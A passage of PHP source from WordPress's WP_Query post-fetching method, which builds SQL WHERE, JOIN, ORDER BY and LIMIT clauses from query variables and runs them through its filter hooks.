substr( $q['m'], 0, 4 ); if ( strlen( $q['m'] ) > 5 ) { $where .= " AND MONTH({$wpdb->posts}.post_date)=" . substr( $q['m'], 4, 2 ); } if ( strlen( $q['m'] ) > 7 ) { $where .= " AND DAYOFMONTH({$wpdb->posts}.post_date)=" . substr( $q['m'], 6, 2 ); } if ( strlen( $q['m'] ) > 9 ) { $where .= " AND HOUR({$wpdb->posts}.post_date)=" . substr( $q['m'], 8, 2 ); } if ( strlen( $q['m'] ) > 11 ) { $where .= " AND MINUTE({$wpdb->posts}.post_date)=" . substr( $q['m'], 10, 2 ); } if ( strlen( $q['m'] ) > 13 ) { $where .= " AND SECOND({$wpdb->posts}.post_date)=" . substr( $q['m'], 12, 2 ); } } // Handle the other individual date parameters. $date_parameters = array(); if ( '' !== $q['hour'] ) { $date_parameters['hour'] = $q['hour']; } if ( '' !== $q['minute'] ) { $date_parameters['minute'] = $q['minute']; } if ( '' !== $q['second'] ) { $date_parameters['second'] = $q['second']; } if ( $q['year'] ) { $date_parameters['year'] = $q['year']; } if ( $q['monthnum'] ) { $date_parameters['monthnum'] = $q['monthnum']; } if ( $q['w'] ) { $date_parameters['week'] = $q['w']; } if ( $q['day'] ) { $date_parameters['day'] = $q['day']; } if ( $date_parameters ) { $date_query = new WP_Date_Query( array( $date_parameters ) ); $where .= $date_query->get_sql(); } unset( $date_parameters, $date_query ); // Handle complex date queries. if ( ! empty( $q['date_query'] ) ) { $this->date_query = new WP_Date_Query( $q['date_query'] ); $where .= $this->date_query->get_sql(); } // If we've got a post_type AND it's not "any" post_type. if ( ! empty( $q['post_type'] ) && 'any' !== $q['post_type'] ) { foreach ( (array) $q['post_type'] as $_post_type ) { $ptype_obj = get_post_type_object( $_post_type ); if ( ! $ptype_obj || ! $ptype_obj->query_var || empty( $q[ $ptype_obj->query_var ] ) ) { continue; } if ( ! $ptype_obj->hierarchical ) { // Non-hierarchical post types can directly use 'name'. $q['name'] = $q[ $ptype_obj->query_var ]; } else { // Hierarchical post types will operate through 'pagename'. $q['pagename'] = $q[ $ptype_obj->query_var ]; $q['name'] = ''; } // Only one request for a slug is possible, this is why name & pagename are overwritten above. break; } // End foreach. unset( $ptype_obj ); } if ( '' !== $q['title'] ) { $where .= $wpdb->prepare( " AND {$wpdb->posts}.post_title = %s", stripslashes( $q['title'] ) ); } // Parameters related to 'post_name'. if ( '' !== $q['name'] ) { $q['name'] = sanitize_title_for_query( $q['name'] ); $where .= " AND {$wpdb->posts}.post_name = '" . $q['name'] . "'"; } elseif ( '' !== $q['pagename'] ) { if ( isset( $this->queried_object_id ) ) { $reqpage = $this->queried_object_id; } else { if ( 'page' !== $q['post_type'] ) { foreach ( (array) $q['post_type'] as $_post_type ) { $ptype_obj = get_post_type_object( $_post_type ); if ( ! $ptype_obj || ! $ptype_obj->hierarchical ) { continue; } $reqpage = get_page_by_path( $q['pagename'], OBJECT, $_post_type ); if ( $reqpage ) { break; } } unset( $ptype_obj ); } else { $reqpage = get_page_by_path( $q['pagename'] ); } if ( ! empty( $reqpage ) ) { $reqpage = $reqpage->ID; } else { $reqpage = 0; } } $page_for_posts = get_option( 'page_for_posts' ); if ( ( 'page' !== get_option( 'show_on_front' ) ) || empty( $page_for_posts ) || ( $reqpage != $page_for_posts ) ) { $q['pagename'] = sanitize_title_for_query( wp_basename( $q['pagename'] ) ); $q['name'] = $q['pagename']; $where .= " AND ({$wpdb->posts}.ID = '$reqpage')"; $reqpage_obj = get_post( $reqpage ); if ( is_object( $reqpage_obj ) && 'attachment' === $reqpage_obj->post_type ) { $this->is_attachment = true; $post_type = 'attachment'; $q['post_type'] = 'attachment'; $this->is_page = true; $q['attachment_id'] = $reqpage; } } } elseif ( '' !== $q['attachment'] ) { $q['attachment'] = sanitize_title_for_query( wp_basename( $q['attachment'] ) ); $q['name'] = $q['attachment']; $where .= " AND {$wpdb->posts}.post_name = '" . $q['attachment'] . "'"; } elseif ( is_array( $q['post_name__in'] ) && ! empty( $q['post_name__in'] ) ) { $q['post_name__in'] = array_map( 'sanitize_title_for_query', $q['post_name__in'] ); $post_name__in = "'" . implode( "','", $q['post_name__in'] ) . "'"; $where .= " AND {$wpdb->posts}.post_name IN ($post_name__in)"; } // If an attachment is requested by number, let it supersede any post number. if ( $q['attachment_id'] ) { $q['p'] = absint( $q['attachment_id'] ); } // If a post number is specified, load that post. if ( $q['p'] ) { $where .= " AND {$wpdb->posts}.ID = " . $q['p']; } elseif ( $q['post__in'] ) { $post__in = implode( ',', array_map( 'absint', $q['post__in'] ) ); $where .= " AND {$wpdb->posts}.ID IN ($post__in)"; } elseif ( $q['post__not_in'] ) { $post__not_in = implode( ',', array_map( 'absint', $q['post__not_in'] ) ); $where .= " AND {$wpdb->posts}.ID NOT IN ($post__not_in)"; } if ( is_numeric( $q['post_parent'] ) ) { $where .= $wpdb->prepare( " AND {$wpdb->posts}.post_parent = %d ", $q['post_parent'] ); } elseif ( $q['post_parent__in'] ) { $post_parent__in = implode( ',', array_map( 'absint', $q['post_parent__in'] ) ); $where .= " AND {$wpdb->posts}.post_parent IN ($post_parent__in)"; } elseif ( $q['post_parent__not_in'] ) { $post_parent__not_in = implode( ',', array_map( 'absint', $q['post_parent__not_in'] ) ); $where .= " AND {$wpdb->posts}.post_parent NOT IN ($post_parent__not_in)"; } if ( $q['page_id'] ) { if ( ( 'page' !== get_option( 'show_on_front' ) ) || ( get_option( 'page_for_posts' ) != $q['page_id'] ) ) { $q['p'] = $q['page_id']; $where = " AND {$wpdb->posts}.ID = " . $q['page_id']; } } // If a search pattern is specified, load the posts that match. if ( strlen( $q['s'] ) ) { $search = $this->parse_search( $q ); } if ( ! $q['suppress_filters'] ) { /** * Filters the search SQL that is used in the WHERE clause of WP_Query. * * @since 3.0.0 * * @param string $search Search SQL for WHERE clause. * @param WP_Query $query The current WP_Query object. */ $search = apply_filters_ref_array( 'posts_search', array( $search, &$this ) ); } // Taxonomies. if ( ! $this->is_singular ) { $this->parse_tax_query( $q ); $clauses = $this->tax_query->get_sql( $wpdb->posts, 'ID' ); $join .= $clauses['join']; $where .= $clauses['where']; } if ( $this->is_tax ) { if ( empty( $post_type ) ) { // Do a fully inclusive search for currently registered post types of queried taxonomies. $post_type = array(); $taxonomies = array_keys( $this->tax_query->queried_terms ); foreach ( get_post_types( array( 'exclude_from_search' => false ) ) as $pt ) { $object_taxonomies = 'attachment' === $pt ? get_taxonomies_for_attachments() : get_object_taxonomies( $pt ); if ( array_intersect( $taxonomies, $object_taxonomies ) ) { $post_type[] = $pt; } } if ( ! $post_type ) { $post_type = 'any'; } elseif ( count( $post_type ) == 1 ) { $post_type = $post_type[0]; } $post_status_join = true; } elseif ( in_array( 'attachment', (array) $post_type, true ) ) { $post_status_join = true; } } /* * Ensure that 'taxonomy', 'term', 'term_id', 'cat', and * 'category_name' vars are set for backward compatibility. */ if ( ! empty( $this->tax_query->queried_terms ) ) { /* * Set 'taxonomy', 'term', and 'term_id' to the * first taxonomy other than 'post_tag' or 'category'. */ if ( ! isset( $q['taxonomy'] ) ) { foreach ( $this->tax_query->queried_terms as $queried_taxonomy => $queried_items ) { if ( empty( $queried_items['terms'][0] ) ) { continue; } if ( ! in_array( $queried_taxonomy, array( 'category', 'post_tag' ), true ) ) { $q['taxonomy'] = $queried_taxonomy; if ( 'slug' === $queried_items['field'] ) { $q['term'] = $queried_items['terms'][0]; } else { $q['term_id'] = $queried_items['terms'][0]; } // Take the first one we find. break; } } } // 'cat', 'category_name', 'tag_id'. foreach ( $this->tax_query->queried_terms as $queried_taxonomy => $queried_items ) { if ( empty( $queried_items['terms'][0] ) ) { continue; } if ( 'category' === $queried_taxonomy ) { $the_cat = get_term_by( $queried_items['field'], $queried_items['terms'][0], 'category' ); if ( $the_cat ) { $this->set( 'cat', $the_cat->term_id ); $this->set( 'category_name', $the_cat->slug ); } unset( $the_cat ); } if ( 'post_tag' === $queried_taxonomy ) { $the_tag = get_term_by( $queried_items['field'], $queried_items['terms'][0], 'post_tag' ); if ( $the_tag ) { $this->set( 'tag_id', $the_tag->term_id ); } unset( $the_tag ); } } } if ( ! empty( $this->tax_query->queries ) || ! empty( $this->meta_query->queries ) ) { $groupby = "{$wpdb->posts}.ID"; } // Author/user stuff. if ( ! empty( $q['author'] ) && '0' != $q['author'] ) { $q['author'] = addslashes_gpc( '' . urldecode( $q['author'] ) ); $authors = array_unique( array_map( 'intval', preg_split( '/[,\s]+/', $q['author'] ) ) ); foreach ( $authors as $author ) { $key = $author > 0 ? 'author__in' : 'author__not_in'; $q[ $key ][] = abs( $author ); } $q['author'] = implode( ',', $authors ); } if ( ! empty( $q['author__not_in'] ) ) { $author__not_in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__not_in'] ) ) ); $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; } elseif ( ! empty( $q['author__in'] ) ) { $author__in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__in'] ) ) ); $where .= " AND {$wpdb->posts}.post_author IN ($author__in) "; } // Author stuff for nice URLs. if ( '' !== $q['author_name'] ) { if ( strpos( $q['author_name'], '/' ) !== false ) { $q['author_name'] = explode( '/', $q['author_name'] ); if ( $q['author_name'][ count( $q['author_name'] ) - 1 ] ) { $q['author_name'] = $q['author_name'][ count( $q['author_name'] ) - 1 ]; // No trailing slash. } else { $q['author_name'] = $q['author_name'][ count( $q['author_name'] ) - 2 ]; // There was a trailing slash. } } $q['author_name'] = sanitize_title_for_query( $q['author_name'] ); $q['author'] = get_user_by( 'slug', $q['author_name'] ); if ( $q['author'] ) { $q['author'] = $q['author']->ID; } $whichauthor .= " AND ({$wpdb->posts}.post_author = " . absint( $q['author'] ) . ')'; } // Matching by comment count. if ( isset( $q['comment_count'] ) ) { // Numeric comment count is converted to array format. if ( is_numeric( $q['comment_count'] ) ) { $q['comment_count'] = array( 'value' => (int) $q['comment_count'], ); } if ( isset( $q['comment_count']['value'] ) ) { $q['comment_count'] = array_merge( array( 'compare' => '=', ), $q['comment_count'] ); // Fallback for invalid compare operators is '='. $compare_operators = array( '=', '!=', '>', '>=', '<', '<=' ); if ( ! in_array( $q['comment_count']['compare'], $compare_operators, true ) ) { $q['comment_count']['compare'] = '='; } $where .= $wpdb->prepare( " AND {$wpdb->posts}.comment_count {$q['comment_count']['compare']} %d", $q['comment_count']['value'] ); } } // MIME-Type stuff for attachment browsing. if ( isset( $q['post_mime_type'] ) && '' !== $q['post_mime_type'] ) { $whichmimetype = wp_post_mime_type_where( $q['post_mime_type'], $wpdb->posts ); } $where .= $search . $whichauthor . $whichmimetype; if ( ! empty( $this->meta_query->queries ) ) { $clauses = $this->meta_query->get_sql( 'post', $wpdb->posts, 'ID', $this ); $join .= $clauses['join']; $where .= $clauses['where']; } $rand = ( isset( $q['orderby'] ) && 'rand' === $q['orderby'] ); if ( ! isset( $q['order'] ) ) { $q['order'] = $rand ? '' : 'DESC'; } else { $q['order'] = $rand ? '' : $this->parse_order( $q['order'] ); } // These values of orderby should ignore the 'order' parameter. $force_asc = array( 'post__in', 'post_name__in', 'post_parent__in' ); if ( isset( $q['orderby'] ) && in_array( $q['orderby'], $force_asc, true ) ) { $q['order'] = ''; } // Order by. if ( empty( $q['orderby'] ) ) { /* * Boolean false or empty array blanks out ORDER BY, * while leaving the value unset or otherwise empty sets the default. */ if ( isset( $q['orderby'] ) && ( is_array( $q['orderby'] ) || false === $q['orderby'] ) ) { $orderby = ''; } else { $orderby = "{$wpdb->posts}.post_date " . $q['order']; } } elseif ( 'none' === $q['orderby'] ) { $orderby = ''; } else { $orderby_array = array(); if ( is_array( $q['orderby'] ) ) { foreach ( $q['orderby'] as $_orderby => $order ) { $orderby = addslashes_gpc( urldecode( $_orderby ) ); $parsed = $this->parse_orderby( $orderby ); if ( ! $parsed ) { continue; } $orderby_array[] = $parsed . ' ' . $this->parse_order( $order ); } $orderby = implode( ', ', $orderby_array ); } else { $q['orderby'] = urldecode( $q['orderby'] ); $q['orderby'] = addslashes_gpc( $q['orderby'] ); foreach ( explode( ' ', $q['orderby'] ) as $i => $orderby ) { $parsed = $this->parse_orderby( $orderby ); // Only allow certain values for safety. if ( ! $parsed ) { continue; } $orderby_array[] = $parsed; } $orderby = implode( ' ' . $q['order'] . ', ', $orderby_array ); if ( empty( $orderby ) ) { $orderby = "{$wpdb->posts}.post_date " . $q['order']; } elseif ( ! empty( $q['order'] ) ) { $orderby .= " {$q['order']}"; } } } // Order search results by relevance only when another "orderby" is not specified in the query. if ( ! empty( $q['s'] ) ) { $search_orderby = ''; if ( ! empty( $q['search_orderby_title'] ) && ( empty( $q['orderby'] ) && ! $this->is_feed ) || ( isset( $q['orderby'] ) && 'relevance' === $q['orderby'] ) ) { $search_orderby = $this->parse_search_order( $q ); } if ( ! $q['suppress_filters'] ) { /** * Filters the ORDER BY used when ordering search results. * * @since 3.7.0 * * @param string $search_orderby The ORDER BY clause. * @param WP_Query $query The current WP_Query instance. */ $search_orderby = apply_filters( 'posts_search_orderby', $search_orderby, $this ); } if ( $search_orderby ) { $orderby = $orderby ? $search_orderby . ', ' . $orderby : $search_orderby; } } if ( is_array( $post_type ) && count( $post_type ) > 1 ) { $post_type_cap = 'multiple_post_type'; } else { if ( is_array( $post_type ) ) { $post_type = reset( $post_type ); } $post_type_object = get_post_type_object( $post_type ); if ( empty( $post_type_object ) ) { $post_type_cap = $post_type; } } if ( isset( $q['post_password'] ) ) { $where .= $wpdb->prepare( " AND {$wpdb->posts}.post_password = %s", $q['post_password'] ); if ( empty( $q['perm'] ) ) { $q['perm'] = 'readable'; } } elseif ( isset( $q['has_password'] ) ) { $where .= sprintf( " AND {$wpdb->posts}.post_password %s ''", $q['has_password'] ? '!=' : '=' ); } if ( ! empty( $q['comment_status'] ) ) { $where .= $wpdb->prepare( " AND {$wpdb->posts}.comment_status = %s ", $q['comment_status'] ); } if ( ! empty( $q['ping_status'] ) ) { $where .= $wpdb->prepare( " AND {$wpdb->posts}.ping_status = %s ", $q['ping_status'] ); } if ( 'any' === $post_type ) { $in_search_post_types = get_post_types( array( 'exclude_from_search' => false ) ); if ( empty( $in_search_post_types ) ) { $where .= ' AND 1=0 '; } else { $where .= " AND {$wpdb->posts}.post_type IN ('" . implode( "', '", array_map( 'esc_sql', $in_search_post_types ) ) . "')"; } } elseif ( ! empty( $post_type ) && is_array( $post_type ) ) { $where .= " AND {$wpdb->posts}.post_type IN ('" . implode( "', '", esc_sql( $post_type ) ) . "')"; } elseif ( ! empty( $post_type ) ) { $where .= $wpdb->prepare( " AND {$wpdb->posts}.post_type = %s", $post_type ); $post_type_object = get_post_type_object( $post_type ); } elseif ( $this->is_attachment ) { $where .= " AND {$wpdb->posts}.post_type = 'attachment'"; $post_type_object = get_post_type_object( 'attachment' ); } elseif ( $this->is_page ) { $where .= " AND {$wpdb->posts}.post_type = 'page'"; $post_type_object = get_post_type_object( 'page' ); } else { $where .= " AND {$wpdb->posts}.post_type = 'post'"; $post_type_object = get_post_type_object( 'post' ); } $edit_cap = 'edit_post'; $read_cap = 'read_post'; if ( ! empty( $post_type_object ) ) { $edit_others_cap = $post_type_object->cap->edit_others_posts; $read_private_cap = $post_type_object->cap->read_private_posts; } else { $edit_others_cap = 'edit_others_' . $post_type_cap . 's'; $read_private_cap = 'read_private_' . $post_type_cap . 's'; } $user_id = get_current_user_id(); $q_status = array(); if ( ! empty( $q['post_status'] ) ) { $statuswheres = array(); $q_status = $q['post_status']; if ( ! is_array( $q_status ) ) { $q_status = explode( ',', $q_status ); } $r_status = array(); $p_status = array(); $e_status = array(); if ( in_array( 'any', $q_status, true ) ) { foreach ( get_post_stati( array( 'exclude_from_search' => true ) ) as $status ) { if ( ! in_array( $status, $q_status, true ) ) { $e_status[] = "{$wpdb->posts}.post_status <> '$status'"; } } } else { foreach ( get_post_stati() as $status ) { if ( in_array( $status, $q_status, true ) ) { if ( 'private' === $status ) { $p_status[] = "{$wpdb->posts}.post_status = '$status'"; } else { $r_status[] = "{$wpdb->posts}.post_status = '$status'"; } } } } if ( empty( $q['perm'] ) || 'readable' !== $q['perm'] ) { $r_status = array_merge( $r_status, $p_status ); unset( $p_status ); } if ( ! empty( $e_status ) ) { $statuswheres[] = '(' . implode( ' AND ', $e_status ) . ')'; } if ( ! empty( $r_status ) ) { if ( ! empty( $q['perm'] ) && 'editable' === $q['perm'] && ! current_user_can( $edit_others_cap ) ) { $statuswheres[] = "({$wpdb->posts}.post_author = $user_id " . 'AND (' . implode( ' OR ', $r_status ) . '))'; } else { $statuswheres[] = '(' . implode( ' OR ', $r_status ) . ')'; } } if ( ! empty( $p_status ) ) { if ( ! empty( $q['perm'] ) && 'readable' === $q['perm'] && ! current_user_can( $read_private_cap ) ) { $statuswheres[] = "({$wpdb->posts}.post_author = $user_id " . 'AND (' . implode( ' OR ', $p_status ) . '))'; } else { $statuswheres[] = '(' . implode( ' OR ', $p_status ) . ')'; } } if ( $post_status_join ) { $join .= " LEFT JOIN {$wpdb->posts} AS p2 ON ({$wpdb->posts}.post_parent = p2.ID) "; foreach ( $statuswheres as $index => $statuswhere ) { $statuswheres[ $index ] = "($statuswhere OR ({$wpdb->posts}.post_status = 'inherit' AND " . str_replace( $wpdb->posts, 'p2', $statuswhere ) . '))'; } } $where_status = implode( ' OR ', $statuswheres ); if ( ! empty( $where_status ) ) { $where .= " AND ($where_status)"; } } elseif ( ! $this->is_singular ) { $where .= " AND ({$wpdb->posts}.post_status = 'publish'"; // Add public states. $public_states = get_post_stati( array( 'public' => true ) ); foreach ( (array) $public_states as $state ) { if ( 'publish' === $state ) { // Publish is hard-coded above. continue; } $where .= " OR {$wpdb->posts}.post_status = '$state'"; } if ( $this->is_admin ) { // Add protected states that should show in the admin all list. $admin_all_states = get_post_stati( array( 'protected' => true, 'show_in_admin_all_list' => true, ) ); foreach ( (array) $admin_all_states as $state ) { $where .= " OR {$wpdb->posts}.post_status = '$state'"; } } if ( is_user_logged_in() ) { // Add private states that are limited to viewing by the author of a post or someone who has caps to read private states. $private_states = get_post_stati( array( 'private' => true ) ); foreach ( (array) $private_states as $state ) { $where .= current_user_can( $read_private_cap ) ? " OR {$wpdb->posts}.post_status = '$state'" : " OR {$wpdb->posts}.post_author = $user_id AND {$wpdb->posts}.post_status = '$state'"; } } $where .= ')'; } /* * Apply filters on where and join prior to paging so that any * manipulations to them are reflected in the paging by day queries. */ if ( ! $q['suppress_filters'] ) { /** * Filters the WHERE clause of the query. * * @since 1.5.0 * * @param string $where The WHERE clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $where = apply_filters_ref_array( 'posts_where', array( $where, &$this ) ); /** * Filters the JOIN clause of the query. * * @since 1.5.0 * * @param string $join The JOIN clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $join = apply_filters_ref_array( 'posts_join', array( $join, &$this ) ); } // Paging. if ( empty( $q['nopaging'] ) && ! $this->is_singular ) { $page = absint( $q['paged'] ); if ( ! $page ) { $page = 1; } // If 'offset' is provided, it takes precedence over 'paged'. if ( isset( $q['offset'] ) && is_numeric( $q['offset'] ) ) { $q['offset'] = absint( $q['offset'] ); $pgstrt = $q['offset'] . ', '; } else { $pgstrt = absint( ( $page - 1 ) * $q['posts_per_page'] ) . ', '; } $limits = 'LIMIT ' . $pgstrt . $q['posts_per_page']; } // Comments feeds. if ( $this->is_comment_feed && ! $this->is_singular ) { if ( $this->is_archive || $this->is_search ) { $cjoin = "JOIN {$wpdb->posts} ON ({$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID) $join "; $cwhere = "WHERE comment_approved = '1' $where"; $cgroupby = "{$wpdb->comments}.comment_id"; } else { // Other non-singular, e.g. front. $cjoin = "JOIN {$wpdb->posts} ON ( {$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID )"; $cwhere = "WHERE ( post_status = 'publish' OR ( post_status = 'inherit' AND post_type = 'attachment' ) ) AND comment_approved = '1'"; $cgroupby = ''; } if ( ! $q['suppress_filters'] ) { /** * Filters the JOIN clause of the comments feed query before sending. * * @since 2.2.0 * * @param string $cjoin The JOIN clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $cjoin = apply_filters_ref_array( 'comment_feed_join', array( $cjoin, &$this ) ); /** * Filters the WHERE clause of the comments feed query before sending. * * @since 2.2.0 * * @param string $cwhere The WHERE clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $cwhere = apply_filters_ref_array( 'comment_feed_where', array( $cwhere, &$this ) ); /** * Filters the GROUP BY clause of the comments feed query before sending. * * @since 2.2.0 * * @param string $cgroupby The GROUP BY clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $cgroupby = apply_filters_ref_array( 'comment_feed_groupby', array( $cgroupby, &$this ) ); /** * Filters the ORDER BY clause of the comments feed query before sending. * * @since 2.8.0 * * @param string $corderby The ORDER BY clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $corderby = apply_filters_ref_array( 'comment_feed_orderby', array( 'comment_date_gmt DESC', &$this ) ); /** * Filters the LIMIT clause of the comments feed query before sending. * * @since 2.8.0 * * @param string $climits The JOIN clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $climits = apply_filters_ref_array( 'comment_feed_limits', array( 'LIMIT ' . get_option( 'posts_per_rss' ), &$this ) ); } $cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : ''; $corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : ''; $climits = ( ! empty( $climits ) ) ? $climits : ''; $comments = (array) $wpdb->get_results( "SELECT $distinct {$wpdb->comments}.* FROM {$wpdb->comments} $cjoin $cwhere $cgroupby $corderby $climits" ); // Convert to WP_Comment. /** @var WP_Comment[] */ $this->comments = array_map( 'get_comment', $comments ); $this->comment_count = count( $this->comments ); $post_ids = array(); foreach ( $this->comments as $comment ) { $post_ids[] = (int) $comment->comment_post_ID; } $post_ids = implode( ',', $post_ids ); $join = ''; if ( $post_ids ) { $where = "AND {$wpdb->posts}.ID IN ($post_ids) "; } else { $where = 'AND 0'; } } $pieces = array( 'where', 'groupby', 'join', 'orderby', 'distinct', 'fields', 'limits' ); /* * Apply post-paging filters on where and join. Only plugins that * manipulate paging queries should use these hooks. */ if ( ! $q['suppress_filters'] ) { /** * Filters the WHERE clause of the query. * * Specifically for manipulating paging queries. * * @since 1.5.0 * * @param string $where The WHERE clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $where = apply_filters_ref_array( 'posts_where_paged', array( $where, &$this ) ); /** * Filters the GROUP BY clause of the query. * * @since 2.0.0 * * @param string $groupby The GROUP BY clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $groupby = apply_filters_ref_array( 'posts_groupby', array( $groupby, &$this ) ); /** * Filters the JOIN clause of the query. * * Specifically for manipulating paging queries. * * @since 1.5.0 * * @param string $join The JOIN clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $join = apply_filters_ref_array( 'posts_join_paged', array( $join, &$this ) ); /** * Filters the ORDER BY clause of the query. * * @since 1.5.1 * * @param string $orderby The ORDER BY clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $orderby = apply_filters_ref_array( 'posts_orderby', array( $orderby, &$this ) ); /** * Filters the DISTINCT clause of the query. * * @since 2.1.0 * * @param string $distinct The DISTINCT clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $distinct = apply_filters_ref_array( 'posts_distinct', array( $distinct, &$this ) ); /** * Filters the LIMIT clause of the query. * * @since 2.1.0 * * @param string $limits The LIMIT clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $limits = apply_filters_ref_array( 'post_limits', array( $limits, &$this ) ); /** * Filters the SELECT clause of the query. * * @since 2.1.0 * * @param string $fields The SELECT clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $fields = apply_filters_ref_array( 'posts_fields', array( $fields, &$this ) ); /** * Filters all query clauses at once, for convenience. * * Covers the WHERE, GROUP BY, JOIN, ORDER BY, DISTINCT, * fields (SELECT), and LIMITS clauses. * * @since 3.1.0 * * @param string[] $clauses Associative array of the clauses for the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $clauses = (array) apply_filters_ref_array( 'posts_clauses', array( compact( $pieces ), &$this ) ); $where = isset( $clauses['where'] ) ? $clauses['where'] : ''; $groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : ''; $join = isset( $clauses['join'] ) ? $clauses['join'] : ''; $orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : ''; $distinct = isset( $clauses['distinct'] ) ? $clauses['distinct'] : ''; $fields = isset( $clauses['fields'] ) ? $clauses['fields'] : ''; $limits = isset( $clauses['limits'] ) ? $clauses['limits'] : ''; } /** * Fires to announce the query's current selection parameters. * * For use by caching plugins. * * @since 2.3.0 * * @param string $selection The assembled selection query. */ do_action( 'posts_selection', $where . $groupby . $orderby . $limits . $join ); /* * Filters again for the benefit of caching plugins. * Regular plugins should use the hooks above. */ if ( ! $q['suppress_filters'] ) { /** * Filters the WHERE clause of the query. * * For use by caching plugins. * * @since 2.5.0 * * @param string $where The WHERE clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $where = apply_filters_ref_array( 'posts_where_request', array( $where, &$this ) ); /** * Filters the GROUP BY clause of the query. * * For use by caching plugins. * * @since 2.5.0 * * @param string $groupby The GROUP BY clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $groupby = apply_filters_ref_array( 'posts_groupby_request', array( $groupby, &$this ) ); /** * Filters the JOIN clause of the query. * * For use by caching plugins. * * @since 2.5.0 * * @param string $join The JOIN clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $join = apply_filters_ref_array( 'posts_join_request', array( $join, &$this ) ); /** * Filters the ORDER BY clause of the query. * * For use by caching plugins. * * @since 2.5.0 * * @param string $orderby The ORDER BY clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $orderby = apply_filters_ref_array( 'posts_orderby_request', array( $orderby, &$this ) ); /** * Filters the DISTINCT clause of the query. * * For use by caching plugins. * * @since 2.5.0 * * @param string $distinct The DISTINCT clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $distinct = apply_filters_ref_array( 'posts_distinct_request', array( $distinct, &$this ) ); /** * Filters the SELECT clause of the query. * * For use by caching plugins. * * @since 2.5.0 * * @param string $fields The SELECT clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $fields = apply_filters_ref_array( 'posts_fields_request', array( $fields, &$this ) ); /** * Filters the LIMIT clause of the query. * * For use by caching plugins. * * @since 2.5.0 * * @param string $limits The LIMIT clause of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $limits = apply_filters_ref_array( 'post_limits_request', array( $limits, &$this ) ); /** * Filters all query clauses at once, for convenience. * * For use by caching plugins. * * Covers the WHERE, GROUP BY, JOIN, ORDER BY, DISTINCT, * fields (SELECT), and LIMITS clauses. * * @since 3.1.0 * * @param string[] $pieces Associative array of the pieces of the query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $clauses = (array) apply_filters_ref_array( 'posts_clauses_request', array( compact( $pieces ), &$this ) ); $where = isset( $clauses['where'] ) ? $clauses['where'] : ''; $groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : ''; $join = isset( $clauses['join'] ) ? $clauses['join'] : ''; $orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : ''; $distinct = isset( $clauses['distinct'] ) ? $clauses['distinct'] : ''; $fields = isset( $clauses['fields'] ) ? $clauses['fields'] : ''; $limits = isset( $clauses['limits'] ) ? $clauses['limits'] : ''; } if ( ! empty( $groupby ) ) { $groupby = 'GROUP BY ' . $groupby; } if ( ! empty( $orderby ) ) { $orderby = 'ORDER BY ' . $orderby; } $found_rows = ''; if ( ! $q['no_found_rows'] && ! empty( $limits ) ) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $old_request = "SELECT $found_rows $distinct $fields FROM {$wpdb->posts} $join WHERE 1=1 $where $groupby $orderby $limits"; $this->request = $old_request; if ( ! $q['suppress_filters'] ) { /** * Filters the completed SQL query before sending. * * @since 2.0.0 * * @param string $request The complete SQL query. * @param WP_Query $query The WP_Query instance (passed by reference). */ $this->request = apply_filters_ref_array( 'posts_request', array( $this->request, &$this ) ); } /** * Filters the posts array before the query takes place. * * Return a non-null value to bypass WordPress' default post queries. * * Filtering functions that require pagination information are encouraged to set * the `found_posts` and `max_num_pages` properties of the WP_Query object, * passed to the filter by reference. If WP_Query does not perform a database * query, it will not have enough information to generate these values itself. * * @since 4.6.0 * * @param WP_Post[]|int[]|null $posts Return an array of post data to short-circuit WP's query, * or null to allow WP to run its normal queries. * @param WP_Query $query The WP_Query instance (passed by reference). */ $this->posts = apply_filters_ref_array( 'posts_pre_query', array( null, &$this ) ); if ( 'ids' === $q['fields'] ) { if ( null === $this->posts ) { $this->posts = $wpdb->get_col( $this->request ); } /** @var int[] */ $this->posts = array_map( 'intval', $this->posts ); $this->post_count = count( $this->posts ); $this->set_found_posts( $q, $limits ); return $this->posts; } if ( 'id=>parent' === $q['fields'] ) { if ( null === $this->posts ) { $this->posts = $wpdb->get_results( $this->request ); } $this->post_count = count( $this->posts ); $this->set_found_posts( $q, $limits ); /** @var int[] */ $r = array(); foreach ( $this->posts as $key => $post ) { $this->posts[ $key ]->ID = (int) $post->ID; $this->posts[ $key ]->post_parent = (int) $post->post_parent; $r[ (int) $post->ID ] = (int) $post->post_parent; } return $r; } if ( null === $this->posts ) { $split_the_query = ( $old_request == $this->request && "{$wpdb->posts}.*" === $fields && ! empty( $limits ) && $q['posts_per_page'] < 500 ); /** * Filters whether to split the query. * * Splitting the query will cause it to fetch just the 